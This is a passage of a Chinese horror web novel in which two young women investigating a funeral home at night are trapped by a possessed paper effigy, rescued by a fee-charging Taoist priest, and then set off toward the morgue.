“但是……但是……我感觉这里完全就是恐怖片里闹鬼的最佳地点嘛！”
“那不是正好吗？”沈聆看了一眼宋明夷手上拿着的拍摄工具，“你不是计划晚上在直播间进行恐怖直播挑战吗？你连预告都发出去了，晚上不直播的话，你那些粉丝可是会很失望的。”
“他……他们那些人都是看热闹不嫌事大。”宋明夷咽了口唾沫，脸色不知道是因为粉底液还是因为恐惧，早已经煞白煞白的。
——她今天晚上特地化了妆才过来的，要直播上镜的妆容会比平日里的妆容更夸张一点，为了维护“小小夷”是个美女主播的形象，每一次开直播前她都要化妆一个小时，粉底、遮瑕、定妆、修眉、眼妆、腮红……十八般武艺都上一遍后，把自己化成了个面具假人才能开直播，因为在直播镜头前，会放一个光圈，光圈下，如果妆不浓一点的话，会显得人很没有气色、无精打采的，因此，口红也要最红的，眼影也要最深的，在开始直播之后，美颜滤镜也要打开，这样才能吸引男粉。
不过，在此时此刻，看着宋明夷浓妆艳抹的样子，沈聆也不由得感觉到心里发怵，此刻站在身边的宋明夷，和殡仪馆里的纸人好像没什么区别，除了会动会跳之外。
但是很快，沈聆就会发现自己错了。
因为那些纸人，说不定也会动。
当然，这些都是后话。
且说两个女孩子瑟缩在一起，来到了殡仪馆门前，虽然害怕，但是一个想要调查真相、一个想要直播赚取流量，这样带着浓郁功利心的目的，还是压倒了内心本能的恐惧。
“叩叩叩——”
沈聆敲了敲木门，殡仪馆的大门紧闭着，那门很厚，敲门的声音成了这片静谧中唯一的声响。
感觉到气温更低了几分，宋明夷不由得拉了拉自己的外套，左顾右盼了起来。
“放心吧，林警官已经跟殡仪馆的人说好了，我们今天晚上过来调查秦琴尸变的事情，殡仪馆的人也同意了，两下都打好招呼了。”
“他一个大老爷们怎么不过来！”
“局里还有其他的事情，他得先忙完手头的事情，晚一点会过来。”
宋明夷翻了个白眼：“切，说的好听，估计不知道在哪里害怕呢。”
……
“阿嚏——”
此时，在公安局加班的林凌忽然打了个喷嚏，他挠了挠头，便继续低下头整理人口拐卖案件的资料。
……
“叩叩叩——”
见门后没有人开门，沈聆便又敲了敲门。
“会不会没人啊？”宋明夷压低了声音，在沈聆耳边嘀咕，“要不然我们还是回去吧，怪吓人的，我感觉开门的都不一定是个人。”
“放心，一定会有人的，这样的单位晚上都会有人值班的，为了防止有人盗走尸体，他们还会排班巡逻的。”
“怎么？尸体也有人偷？”
“那当然了。”沈聆也压低了声音，“人虽然死了，但那些器官还在，对某些人而言，器官，是十分值钱的东西，另外，还有一些比较迷信的农村家庭，会搞‘冥婚’这一套，而‘冥婚’的对象往往就从刚死的女孩子们里面挑选，所以盗尸也是一项很大利润的活。”
“真是恶心……”
就在两个女孩子说话期间，忽然，门后传来了脚步声。
“有人来了。”宋明夷用手肘捅了捅沈聆，并下意识地将直播拍摄的工具藏在身后。
“格拉。”
下一秒，他们听见有人打开了门后的插栓，“吱呀”一声，木门被缓缓推开——
在那扇木门被缓缓打开的瞬间，一股浓烈的腐朽陈旧味道如汹涌的潮水般扑面而来，那味道仿佛是从幽冥地府中逸出的死亡气息，又像是在阴暗潮湿的泥土里腐烂了许久的东西被恶魔重新挖出来的恶臭。
门后是一片如浓墨般漆黑的大厅，仿佛隐藏着无数不可名状的恐怖之物，从门外投射
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入门内的微弱光线，宛如一道纤细的救命绳索，微微照亮了开门的那人，却也让那片黑暗显得更加深邃和诡异。
“你们有什么事情吗？”
开门的，是一个年逾古稀的老头，看上去足有七八十岁，他佝偻着身体，宛如一棵被岁月压弯的枯树，身高不过一米五四左右，一袭黑袍加身，却依旧无法掩盖他瘦骨嶙峋的身躯，仿佛一阵微风就能将他吹倒。
他光着的脑袋上，几块小脂肪瘤突兀地长在那里。眼角下压，颧骨高耸，他的皮肤惨白得如同死人一般，仿佛长久没有见过阳光，散发着一种令人毛骨悚然的寒意。
在看见门外的沈聆和宋明夷的时候，他不悦地皱起眉头，那皱纹如同古老的树皮，沟壑纵横，说话时候，嘴巴里黑色的烂牙便露了出来：“你们是谁？”
“额，我们是林凌警官吩咐过来调查秦琴案子的人。”沈聆友好地一笑，希望能降低对方的戒备之心，但是在看到这么一个浑身腐朽气息的老人打开殡仪馆的门，她还是不由得发毛。
现在殡仪馆的工作人员，年纪都这么大的吗？
老头挠了挠光秃秃的脑袋，一双手上满是黑色的污渍：“什么警官？我怎么不知道这件事情？”
“林凌，就是陵川市公安局的，他说已经跟殡仪馆这里打好招呼了，我们是来协助警方调查前几天跳窗逃走的那个尸体的事情的。”沈聆耐着性子说。
旁边的宋明夷瞅着着老头，怎么看怎么怪异，她感觉这个老头子浑身上下没有一点活人的气息，皮肤苍白而凹陷，干瘪的身体，甚至连手背上似乎都长着几个烂疮……
这完全像是，刚从土里爬出来的！
“咳咳……我不知道什么警官，但是前几天的那个事情我倒是知道，你们先进来吧，我跟上面确认一下是不是真的安排你们过来……”
老头子说着，将殡仪馆的门开得更大了一点，他像是在防备什么东西一样，不敢将大门完全打开，像是担心外面有什么“不干净”的东西会趁机溜入殡仪馆内。
“好的。”
沈凝和宋明夷一前一后进了大门。
缓缓踏入殡仪馆大厅，那腐朽陈旧的气息如同厚重的阴霾，瞬间将人笼罩，仿佛要把人拖入无尽的黑暗深渊——
大厅中央的吊灯散发着昏黄微弱的光芒，如同风中残烛，仅仅勉强照亮了一小块区域，使得周围的黑暗更加深沉恐怖，两侧有许多黑色拱门，散发着阴森的气息，让人望而生畏。
正对大门的是一个通往二楼的楼梯，楼梯蜿蜒而上，消失在黑暗之中，仿佛隐藏着无数未知的恐怖。
殡仪馆所有的装潢似乎都是八九十年代的装修风格，陈旧的墙壁上布满了斑驳的痕迹，地面的瓷砖也早已失去了往日的光泽，变得黯淡无光，整个殡仪馆大厅仿佛是一个被时光遗忘的恐怖之地，让人不寒而栗。
“格拉。”
老头子在她们身后关上了殡仪馆的大门，就在此时，沈聆和宋明夷不约而同地看见，背对着她们、正在关门的老头子，背上趴着一个纸人！
那纸人双手趴在老头的肩上，正回过头，冲着她们微笑。
38. 纸人
在那老头转过来的时候，沈聆和宋明夷同时看到了他背上背着的纸人。
那是一个纸人男童，一张苍白的脸上用红色的颜料画着两个圆圆的腮红，同时，眼睛、鼻子都是用黑色的颜料勾勒出的线条，一张脸虽然是在微笑的，但是却僵硬得没有半分笑意。纸人的眼睛直勾勾地盯着前方，仿佛在注视着什么，但又让人感觉不到它的目光焦点在哪里。
纸人是清代马尾辫的造型，头上带着一个黑色的小圆帽子，身上穿着红色与黑色相间的长袍马褂，它的双手搭在老头子肩上，侧过脸来，就这么看着沈聆和宋明夷。它的动作很自然，仿佛真的是爷爷在背着小孙子，但是那种诡异的氛围让人心底发毛。
“啊……”
就在宋明夷要尖叫出声的时候，沈聆一把捂住了她的嘴巴。
“嗯？”
老头听见了身后奇怪的动静，他正将大门的插栓插上，转过头看着两个女孩子，而他背上背着的纸人就这么偏转了一个角度，从老头的后肩探出半个脑袋，“窥探”着她们。
“没、没什么事情。”
沈聆捂着宋明夷的嘴巴，使劲给她使眼色，但自己也已经全身冒冷汗了。
这也难怪，在大晚上来殡仪馆，碰到这么个邪门的老头子，背上还背着一个葬礼用的纸人娃娃，搁谁、谁不发毛？
但沈聆已经从一系列的灵异事件里锻炼出了心理承受能力，她深知有些时候冷静比惊慌失措更能让人活下去。
“没事，我这小姐妹就是第一次来殡仪馆，她有点儿紧张而已。”
沈聆用手掐了一下宋明夷的后腰，宋明夷疼得龇牙咧嘴的，一下子害怕，瞪着沈聆。
“第一次来殡仪馆？”老头子抬起浑浊的眼睛看着眼前的两个女孩子，半晌，他又像是自顾自地念叨了一句，“没事，以后有的是机会来，等哪一天你也被‘送’过来了，你就习惯了。”
他说着，背着纸人娃娃，朝着一楼门口处一间小小的值班室走去。
见状，沈聆压低了声音跟宋明夷交代：“别叫出声。”
“但是……但是那个纸人……”
“我也看到了。”
“那个不是烧给死人的那种纸人吗？”
“我知道。但是人家这么做，一定有他的道理，如果他是人，你有什么好害怕的，如果他是鬼，你害怕有用吗？”
沈聆的这句话，倒是让宋明夷哑口无言。
“算了，我说不过你。”宋明夷说着，打开了手里的拍摄工具。
但还没打开几秒钟，就被沈聆关上了。
“沈聆，你干嘛啊？”
“这是你直播的场合吗？你就拍，不长记性啊。”
沈聆指了指宋明夷手中的工具，又指了指背对着她们、一步步朝着值班室走去的老头，她在自己脖子前比了个“咔嚓”的手势，暗示宋明夷不要胡来，否则她们搞不好要被“解决”掉。
“背着纸人的人可不常见！我跟你说，如果这个东西拍成视频放在网络上，那高低得是一个热点啊！”宋明夷不死心，作为一个灵异主播，她挖掘真相的热情似乎永远不会被浇灭，越是诡异的地方，越能激发她的创作灵感。
“你这不就侵犯了人家的隐私权和肖像权吗？人家老爷爷还没答应你上镜呢……”
“万一他是鬼呢？鬼能有什么隐私权？”
“是鬼的话，能同意你这样搞？你不要命啦！”沈聆呛了她一句，“我跟你说，你要拍的话，到时候出事了，或者被鬼缠身了，我可不管你。”
“知道了知道了……”宋明夷白了沈聆一眼，嘴上虽然抱怨着，但还是乖乖地将直播拍摄的东西收进了随身携带的挎包里，她带着一个云朵包，这个斜挎包看似小巧，但里面容量很大，是专门用来装直播工具的。
沈聆见宋明夷作罢，这才稍稍放心了下来。
宋明夷多数时候还是靠谱的，但是在涉及到直播话题的时候他，她就好像是脱缰的“野狗”一样，老是削尖了脑袋想钻入迷局之中，了解隐晦的灵异事件，殊不知，这些事情也不是可以轻易沾染的，常在河边走，哪能不湿鞋，这样的事情见多了，眼睛就不干净了，有时候沈聆都开始怀疑自己是不是真的要和宋明夷合作，这样会不会害了这个无知的花季少女。
“你不懂，穷，比鬼还可怕。”宋明夷喃喃了一句，“直播可以让我赚钱，至少，让我不会再穷了。”
“你们两个女娃娃，站在外面作甚？”老头子走到值班室的门口，见身后两个女孩子没有跟上来，他停下脚步，回过头看着沈聆和宋明夷。
“来了来了……”
沈聆先一步跟了上去。
宋明夷在后面，虽然答应了沈聆暂时不直播，但是她还是偷偷打开了别在衣领处的微型摄像头——这是她为了这次的行动特别买的小工具，这个摄像头从表面看起来只是一个再普通不过的纽扣，但却能够清晰地以第一人称的视角拍摄画面，给人一种身临其境的偷窥感，而且自带存储功能，她回去之后只需要用电脑读取里面的数据进行加工剪辑就可以了，十分方方便。
老头子见两人跟了上来，默默推开了值班室的门。
值班室的门是深绿色的，看起来就像是九十年代的木门。
推门而入的时候，房间里一股刺鼻的霉味让两个女孩子不由得往后退了几步，那发霉的味道很浓郁，闻上去像是木头浸泡后发霉的味道、又像是有食物腐坏的味道。
“咔哒。”
老头子拉了一下灯的开关线，这值班室里的灯还是老旧的拉线灯，拉了一下垂落在门口的细线后，悬挂在房间中央的小灯泡便亮了起来。
沈聆的视线擦过老头子的肩膀，看见这个房间的面积并不大，大概三十多平方米而已，没有窗户的房间显得格外狭小封闭，只有一扇通往外界的门，在靠近左边的墙壁旁，放着一个床铺，而右边的墙壁前放着一个深棕色的柜子，正对门的那面墙壁，挂着老人自己的照片,
除此之外，房间
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里没有其他家具，房间的中间空荡荡的，显得有点儿冷清。
“进来坐坐，我问问看上面，看看是不是真有这么回事。”
背着纸人的老人回过头，看着沈聆和宋明夷，在他背上的那个纸人娃娃依旧扭过头看着她们，它一直都是微笑的表情，但大红色的嘴唇趁上白纸做成的脸颊，让人看到它的笑容便更感觉心里发毛。
——这个屋子，好像不太对劲。
沈聆眉头紧锁，在宋明夷正准备踏入其中的时候，一把拉住了宋明夷。
“怎么了？”宋明夷回过头，不解地看着沈聆。
“等一下。”沈聆喃喃着这几个字，但却没有进一步解释。
这间屋子。
给人一种很压抑的感觉。
这间屋子就在玄关的右侧，是第一个房间，但从装修陈设来看，都像是1990年左右的风格，没有窗户的房间，那悬挂着的灯泡便是唯一的电源，但现在已经2024年了，为什么还没有换成LED灯？甚至灯泡的开关都是拉绳的，这可是沈聆在外婆家才会看到的老式电灯，就连殡仪馆的大厅都已经换成了电气照明，为什么值班室里还是老式灯泡照明？
此外，房间里没有一个家电，甚至连普通的毛巾、杯子、牙膏、牙刷这些生活用品都没有，所有的东西都好像被放在了靠墙的柜子里，房间里除此之外，没有其他家具，只有一张照片正对着房门，照片上的老头，和她们眼前的老头一模一样，就像是……他刚刚拍了这张照片。
而且还是……黑白照！
“……老人家，我有个我问题想问问您。”
“什么问题？”
“好像再过几年，香港就要回归了，我想您作为老一辈，那应该很欣慰吧？”沈聆轻声说道。
“啊？”宋明夷疑惑地转过头看着沈聆。
“啊……那个事情啊，我知道啊，其实我们一直都很期待看到港澳回归呢，毕竟当年毛主席带领我们打江山，我走过了长征，赶走了土匪，我们还进行人民公社大活动……”老头子说着，咳嗽了几声，他背上背着的纸人娃娃也跟着颤抖了几下，“如果香港澳门真的能回归就太好了，我真希望用我这双老眼睛亲眼看看它们回归祖国的一天……”
“会的。”沈聆轻声说道，“1997年7月1日香港回归，1999年12月20日澳门回归，从那之后，我们的祖国对港澳实行‘一国两制’方针，我们的国家越来越强大，人民生活也越来越好……我们举办了奥运会，发射了许多卫星和运载火箭，我想，如果您泉下有知的话，应该会很欣慰的吧。”
沈聆的声音，像是细针一样轻轻落在地上。
老人听着，慢慢背过身去，他没有说话，但在他背上的那个纸人娃娃却攀着他的身体、慢慢支起来了身体，表情也由最开始的微笑，转为愤怒，它微微张开了嘴巴，沙哑的声音便从纸人的喉咙里挤了出来——
“为什么……你们为什么要让爷爷想起他已经死了的事情呢？”
39. 灵堂
“为什么……你们非要让爷爷想起他已经死了的事情呢？”
这句话仿佛是从纸人的咽喉处艰难挤出的声响。
它并无声带，无法进行喉腔共鸣，故而只能凭借纸片之间的挤压摩擦来发音，每吐出一句话，都伴随着呼啸的风声，那是冷冽的风从其喉咙口呼啸而过的声音。
它那双手紧紧攀附着老人家的身躯，仅有手臂长短的身体就这般直挺挺地站在老人背后，老人此时背对着沈聆和宋明夷，沈聆的话语恰似一把无比锋利的刀刃，狠狠插入了老人家的灵魂深处，让他不由得回想起自己或许早已死去许久的残酷事实，老人的身体瞬间停止了活动，然而那纸人娃娃却开始剧烈地动了起来，简直就像是……
纸人双手紧紧抠着老人的身体，那纤细的手指仿佛要嵌入老人的肌肤。
它那小小的身体绷得紧紧的，如同一张拉满的弓，每一个动作都带着一种诡异，那惨白的颜色在昏暗的光线下显得格外阴森，如同来自地狱的、不肯安息的亡魂。
“是你在操控老爷爷的尸体，对吧。”沈聆的声音微微颤抖，她的眼神中透露出恐惧与坚定的复杂神色，她的身体紧绷着，仿佛随时准备迎接即将到来的危险。
沈聆往后退了一步，一手护在了宋明夷身前，另一只手则迅速伸到了口袋里，手指在口袋中慌乱地摸索着，终于触碰到了口袋里装着的黑狗血瓶子，她紧紧握住瓶子，仿佛握住了最后一根救命稻草。
“哎呀，此言差矣，怎么能说我在操控爷爷呢，明明是我让爷爷继续活下去的呀，哈哈哈哈……”纸人放肆地大笑起来，那笑声在寂静的空间中回荡，如同恶魔的咆哮，“如果不是我，爷爷现在还躺在棺材里呢，多可怜啊！”
在纸人笑着的时候，伴随着那笑声，小小的值班室的空间忽然变得扭曲起来，仿佛被一股神秘的力量拉扯着。
“格拉……”
墙壁开始裂开，一道道狭长的缝隙如同狰狞的伤口，出现在灰白色的墙壁上。随后，大片大片的霉斑在墙壁上迅速绽开，那些霉斑如同黑色的花朵，逐渐连接在一起。四面墙壁都开始褪去了石灰的颜色，如同被岁月侵蚀的画卷。
在石灰褪去后，逐渐露出了石灰下黑色的厚重的木板——这些黑色的木板围成了四面封闭的空间，尤其是两侧的木板带着一定的弧度，两头窄、中间宽，恰好就是棺材的形状！
黑色的木板散发着陈旧腐朽的气息，仿佛承载着无数的死亡与绝望。
是啊，人死了之后，就被装在这小小的，漆黑的空间里，如此密闭，如此寂寞，如此孤单，如此冰冷。
这棺材，隔绝了与外界的一切联系，与阳间的一切联系，再也没有人能听见他的声音了……
黑白遗照中的老人家忽然流出了两行血泪，那血泪如同红色的丝线，缓缓顺着相框滴落，他似乎在哭诉着死亡的冰冷，也在哭诉着不愿意死去的哀伤。
“不好……”
沈聆低下头，发现她们脚下的地砖也开始软化，以她们为中心，周围的地板就像是沼泽地一样下陷。她们的双脚也被吸入其中，仿佛被黑暗的力量吞噬。
那地砖软化的速度极快，发出滋滋的声响，仿佛有生命一般，沈聆能感觉到双脚陷入其中的那种黏稠感，仿佛被无数只手紧紧抓住，无法挣脱，那股腐烂的恶臭味扑鼻而来，让人作呕。
“快跑！”沈聆的声音带着急切与恐惧。她的脸色苍白，眼神中充满了惊慌。
沈聆话音刚落，宋明夷转身就跑，但此时想要跑哪里还来得及？
她们的双脚都被吸入了“沼泽”之中，黑色的沼泽咕咚咕咚地散发着腐烂的恶臭味，就像是几双手，紧紧地抓住她们的脚踝，让她们动弹不得。
那恶臭味如同毒气一般，弥漫在空气中，让人呼吸困难，像是尸体腐朽后的臭味。
远处隐隐约约传来唢呐吹奏的哀乐声，这声音仿佛来自地狱深处，让人毛骨悚然。那哀乐声时高时低，如同幽灵的哭泣，在寂静的空气中回荡。
原先趴在老头子身上的纸人突然腾空而起，它挥舞着双臂，如同疯狂的舞者，从它的袖子里飞出了许多更小的纸人，这些小纸片人是白色的，看起来是用白纸剪裁而成，它们在空中飞舞着，每一个纸人都诡异地笑着，那笑容让人不寒而栗，它们的目光紧紧地盯着沈聆和宋明夷，似乎在等待着一场血腥的盛宴。
“哈哈哈哈哈——正好，我和我的孩子们也饿了，好久没有吃过这么鲜美的食物了，我还要谢谢你们，这么晚了还送上门来，放心，我会好好享用你们的血肉的！”
最大的纸人悬浮在半空中，小纸人围绕着它飞着，有男有女，就像它的孩童一样，叽叽喳喳，那声音如同老鼠的叫声，让人头皮发麻。
“在这里破地方，我只能吃到一些干巴巴的尸体，实在是没意思——”
纸人的声音充满了贪婪与邪恶，它一挥手，许多小纸人瞬间朝着沈聆和宋明夷飞扑过来如同饥饿的蝗虫，张牙舞爪地扑向她们！
“不要——”宋明夷尖叫了一声，声音中充满了恐惧，沈聆眼疾手快，从口袋里掏出了那瓶黑狗血，但就在她打算打开瓶子的盖子的时候，新的变故发生了！
“金光破邪，妖魅休藏，原形毕露，万变犹定，破！”
从某处传来了一个熟悉的声音，接着，几道刺眼的金光从沈聆和宋明夷背后射来，像是许多锋利的箭，金光瞬间将围绕二人的小纸人扎穿，小纸人们在金光的照耀下瞬间燃烧起来，发出滋滋的声响，烧成灰烬后，纷纷扬扬地落下。
“什么？！”
大纸人一惊，它顺着那光看去，正看到在几步之外的楼梯口，不知道何时一位年轻的道士正站在那里，道士身着一袭青色道袍，手中拿着一把桃木剑，眼神中透露出几分威严，束成马尾的长发随风飘动，仿佛一位仙人降临。
沈聆转过头，也看到了那熟悉的身影。
“道长？！”沈聆的声音中充满了惊喜与希望。
“我还找了半天，想看看到底是谁在殡仪馆为非作歹，原来你
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这厮在这里附灵。”
吴妄拿出一道黄底红字的符咒，符咒上的符文闪烁着神秘的光芒，仿佛蕴含着道家的力量。
“九天神雷，听我号令，镇妖伏魔，诛！”
话音刚落，他用桃木剑挑起符咒，符咒像是得了命令一般朝着纸人飞了过去。
“不好——”
纸人惊恐地叫了起来，它转身就要走，但那符咒速度如闪电一般、先一步贴到了它身上。
“嘶……”
符咒在贴到纸人的瞬间燃烧了起来，那火焰裹着纸人，纸人惨叫着，在火焰中扑腾着、挣扎着，它的身体如同纸片一般，在火焰中卷曲。
一阵黑色的浓烟升腾而起，烧焦的味道在空气中扩散开来，那味道，就像是血肉被烧焦了一样，恶臭中带着几分腥味，直到纸人的身体在火焰中逐渐化为灰烬，它哀嚎的声音才逐渐消失，燃烧后的灰烬如同黑色的雪花，纷纷飘落。
随着纸人的消失，周围幻化出的棺材、黑白遗照也在这一瞬间消散。
老人的身体缓缓倒下，如同一片飘落的树叶，他的脸上带着平静的表情，仿佛终于得到了解脱。
“沙……”
周围的环境也在瞬间发生了变化，地上的沼泽消失了，四周的墙壁恢复了砖墙的模样，血腥味与腐烂的恶臭在褪去，哀乐声也平息了下去……
在幻境破碎后，沈聆发现，她们正站在一间黑色的灵堂里。
在她们面前，放着一个黑色的棺材，而棺材里躺着的，正是刚才还和她们说话的老头。一个孤零零的黑白遗照放在了棺材前面，遗照里的老头就这么静静地注视着她们，但阴阳两隔，他的声音，她们是听不见了。
灵堂里弥漫着一股肃穆的气氛，白色的蜡烛燃烧着，发出微弱的光芒，那光芒在黑暗中摇曳着，仿佛在诉说着生命的脆弱与无常。
“这一切……是幻觉吗？”宋明夷揉了揉眼睛，对周围发生的一切有点儿难以置信。
“可以说是幻觉，但更大程度上来说，是‘障眼法’，你们从进门的那一刻起，就踏入了纸人制造的‘幻境’，你们所看到的一切，都是纸人制造出来的。”
道长走到了沈聆身边，瞥了一眼她手中的黑狗血瓶子。
“小丫头，你就带着这么一个东西，就敢来夜闯殡仪馆？”
“我们才不是夜闯！我们跟林警官报备过了，是来调查秦琴案子的！”沈聆说着，默默收起了黑狗血瓶子。
确实，如果不是黔驴技穷，她也不想亮出自己的底牌，虽然底牌并不带有任何威慑力就是了。
“给。”道长从袖子里掏了半天，掏出了一张黄底红字的符咒，“你拿着这个，你是阴五行的人，你的眼睛会看到一些不干净的东西，你的耳朵会听到一些不寻常的动静，带着这个，防防身。”
沈聆看着那张符咒上歪歪扭扭的符号，复又瞥了一眼道长：“……道长，你这是要收钱的吧？”
被看穿了心思，道长一笑：“多谢惠顾，五十元一张。”
40. 三魂
沈聆白了一眼吴妄，就知道要他帮忙没有什么好事。
她眼疾手快，从吴妄手里抽走了那张符咒：“这个呢，我就先收下了，但是今天身上没有带现金，下次再给你。”
“也行，反正我们也还会再见面的。”吴妄似有若无地喃喃了这么一句话。
“对了，吴道长今天为什么也在殡仪馆里？你可不像是一个乐于替天行道的人。”
“这个嘛……”
吴妄话音未落，殡仪馆走廊尽头的楼梯传来了一个中年女人的声音。
“吴道长？吴道长……”
“喏，这就是我在这里的理由。”吴妄用手指了指楼梯的方向。
沈聆与宋明夷循声看去，看见一个四十多岁的女人匆匆忙忙地出现在二楼的楼梯口，略显丰满的她穿着黑色的西装裙，脖子上戴着一条珍珠项链，头上戴着一个黑色的小帽子，从帽檐的地方还垂落下黑色的纱网，稍微遮住了一点她的眼眸。
“吴道长，您怎么跑到这里来了？”
她出声询问，声音尖锐带着几分穿透力，在女人身后，一个四十多岁的中年男子和一位白发苍苍的老奶奶也紧跟着走出了二楼，他们站在二楼的楼梯口，居高临下地看着沈聆、宋明夷和吴妄三人。
吴妄抬了抬手说道：“刚才我循着煞气而来，正好在一楼降伏了一只纸人小鬼。”
吴妄往前走了几步，在灵堂黑色棺材的底部抽出了一张小纸人，这小纸人看起来应该是刚才大纸人分裂出的分身之一，只不过大纸人消失后，小纸人也失去了行动能力，变成了普通的纸人。
他拿起纸人，往二楼的方向挥了挥，让二楼的那几个人能看得清楚。
“你们放心吧，你们要找的妖邪已经被我除掉了，你们接下来可以继续办丧了。”
“原来如此，不愧是青城山的道长，果然厉害！”胖女人感叹了几句，转身看着其他人，“既然妖邪已经被除掉了，那我们接下来布置一下爸爸的灵堂吧，修容师那边说是已经替爸爸化好妆了，我们可以把遗体挪到灵堂了。”
“好。”
她身后的男子应了一声后，便转身进入了二楼。
“吴道长，那我们还需要做什么吗？”胖女人不放心地追问。
“不需要，我刚才不是给了你们几张符咒吗，把那四张符咒压在棺材的四角，就不会再有灵异事件发生了。”吴妄话锋一转，眼中闪过一丝狡黠，“另外，这次驱邪的费用……”
“您放心，我们就按照之前说的价格，我待会儿就让我的秘书转给您。”
胖女人说着，拿出手机，像是发了一条短信，又匆忙道谢了几句后，转身忙碌起自己其他的事情来。
“……原来你是被请过来驱邪的。”沈聆转头看着道长。
只见吴妄道长此刻身着一袭古朴的道袍，道袍颜色虽有些许陈旧，却更显庄重，他腰间束着一条深色腰带，勾勒出挺拔的身姿。
一头乌黑的长发束成马尾，发丝在微风中轻轻飘动，他剑眉斜飞入鬓，眼眸深邃如潭，目光中透露出一种威严与睿智，高挺的鼻梁下，薄唇紧抿，给人一种坚毅之感。整个人看起来威严凌凌，的确挺像这么回事儿。
“人嘛，总得找点事情来做，否则没有收入怎么活下去呢。”吴妄云淡风轻地说着，将手里地小纸人撕成了碎片，随手扔在一楼地垃圾桶里，“这只纸人，原先只是放在殡仪馆储藏室里的普通纸人，只不过香火熏多了，也开始有了灵性，日久天长，竟然也开始装神弄鬼起来。”
“它为什么要附着在尸体上？”
“那只纸人的出现，是为了吸收已死之人残余的气。”吴妄沉声说道，“人有三魂七魄，其中，以三魂最为重要，这三魂分别是主魂、生魂、觉魂，在人死后，第一条主魂将前往地府，地府判官将对账功德簿，根据亡者生前的修为决定是投胎转世还是至极乐世界……”
“第二条生魂，在人死后啧会归附在供桌或宗祠牌位上——就是我们经常在路边看到的各家族的祠堂，生魂附着在牌位上可享受后代子孙香火，当然，如果没有牌位，那么第二条生魂就会在日久天长中逐渐消弭。”
“最后，第三条觉魂则会残留在尸体上，随着尸体归入墓穴，直到尸体腐朽，化为枯骨后，觉魂才会彻底消失……你刚才看到的那只纸人，就是在吸收死者的第三魂，觉魂，它利用自己在殡仪馆‘近水楼台先得月’的优势，已经吸收了不少人的魂魄，力量也在逐渐壮大，如果不是今天被我遇到了，日久天长，必为一方祸害。”
“那……那户人家是……”
“在此之前，他们看到了有纸人在自家老爹灵堂作祟，心里害怕，于是请了我来为老人家做做法事，驱驱邪，纸人见了我，就逃走了，我在殡仪馆观察了好几天，今日才发现了它的踪迹，应该说，你们俩倒是帮了我一个忙，把它引出来了。”
“原来如此。”宋明夷点了点头，“吴道长，你好像真的有一套诶！刚才给沈聆的那个符咒，也可以给我一张嘛？我感觉我也是高危人群，老是跟着沈聆出生入死的，也挺危险的。”
“可以呀。”吴妄爽快地从宽大的道袍袖子里又掏出了好几张黄色的符咒，“小姑娘，你要什么样的符咒我这里都有，防身的，清心静气的，雷火攻击的……只要你开的出价格，我就能给你搞来。”
道长的声音提高了几分，听起来就像兴奋的倒买倒卖的黄牛。
“来来来，给我多来几张！”宋明夷说着，从道长手里拿过符咒，掏出自己的手机就要扫码转账，“道长，我加你微信好友，转账给你吧！”
“额……”吴妄见状，面露难色，“其实，小道还没有自己的手机。”
“啊？”宋明夷错愕，“那刚才那个阿姨，不是说要打款给你？”
“那是我们青城山的公用账号。”
“怎么？道观现在也有统一的对公账号？”宋明夷起了几分兴趣。
“虽然我们是道观，住在山上，但是也不是绝对与世隔绝。”道长语重心长地介绍，“每日出行、吃穿用度都是需要花钱的，为了更好地跟上时代，我们倾城
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上也去银行开通了专门的账号，要求所有弟子此后行善积德的善款，就打入统一的账户里，供道观日常开销。”
这么一听，沈聆倒是明白了几分。
“原来如此，所以你们应该定期会有人下山，开展类似于除魔伏妖的业务吧，青城山的收入就靠你们拓展业务。”
吴妄微微一笑，不作答。
确实。
现在时代发展十分迅速，就算是去寺庙添香油也开始用扫码转账的方式，青城山为了更好地“维持本心”、“修德修道”，就得跟上时代脚步，世间万物总是在发展的，跟不上时代潮流的终将被时代淘汰。
“不过，这样的话，道长你也太可怜了。”宋明夷蹙眉看着吴妄。
“姑娘何出此言？”
“你赚的钱都给了道观，那你自己呢？”
“我会定期回去拿补贴的，我们道观的道士也有不同的等级，不同等级对应的工资薪酬也不一样。”
“道理是这个道理……”宋明夷转了转眼珠，“我觉得吧，道长你还是得买一个自己的手机，然后开通一个自己的私人账户，虽然说为道观增加业绩是应该的，但是道长你最好也留点‘私房钱’，以备不时之需。”
“原来如此。”吴妄托着下巴，倒是认真在思考起宋明夷的话。
“好了好了，宋明夷，你别忘了我们今天来这里是为了什么。”沈聆打断了二人的谈话，“现在时间也不早了，我们也得去做点正经事才行。”
“正经事？”
“道长还不知道吧，这间殡仪馆几天前发生了尸变！”宋明夷故弄玄虚地说，“就是医院跳楼的那个产妇，她的尸体本来好端端地放在殡仪馆等待火化，但祭魂的那天晚上，尸体忽然自己站起来跑了！”
“……嗯，我有听到当时你在打电话。”吴妄看了一眼沈聆，“过了这么几天，我还以为事情已经解决了。”
沈聆摇了摇头：“并没有，警方并没有找到秦琴的尸体，目前唯一的线索就是当时停尸间的监控录像，林凌警官托我们来看看这里是不是有可疑的、被警方忽略的地方，说不定我们作为局外人，能够提供一些新思路。”
“正好遇到了道长，不如吴道长跟我们一起去吧！停尸间听说就在一楼走廊的尽头，不远的、不远的！”宋明夷看着吴妄，像看到一个救命稻草一样，抓着吴妄的袖子，可怜巴巴地看着吴妄，“拜托你了，吴道长，不然我们两个弱女子，大晚上在殡仪馆，真的好害怕啊，如果有一个男人跟我们一起调查就好了……吴道长你法力高强，就算有什么鬼啊妖啊的，你肯定能三下五除二就解决掉！”
宋明夷一脸可怜巴巴的表情，鼓着腮帮子，垂下眼眸，那双如水的眸子里像是泛起了几分水光，沈聆冷眼看着宋明夷卖乖，感叹道这女孩子真的是天生的演技派，不去当演员，而去当护士，真的是可惜了。
“宋明夷你……”
未等沈聆说完，吴妄倒是先应承了下来。
“可以啊，没问题，只要你们能给钱，什么都好说。”
41. 笑声
提到殡仪馆，许多人都有一定的刻板印象。
殡仪馆是所有死者的终点站，也是人世间大部分灵魂离开的地方。
在这个地方，总是会有许多不甘于离开人世的灵魂在徘徊，有人不愿意就这么平平淡淡地死去，有的不愿意接受自己已经离开的事实，有的放不下对亲人的牵挂……泛起种种，让这些生魂徘徊在此地，此地也是灵异事件、异闻故事最常发生的地方之一。
“……”
感觉到有人在注视着自己，沈聆不由得打了个冷颤。
她微微回过头，下意识地往身后那昏暗的走廊看去，但并没有看到有人站在身后，可奇怪的是，她总是感觉到有一种凝视一般的视线追随着自己，那种被“注视”的感觉让她浑身不舒服，就好像一言一行都在别人的观察和掌控之中。
可她，根本连对方是谁都看不清楚。
“怎么了？”
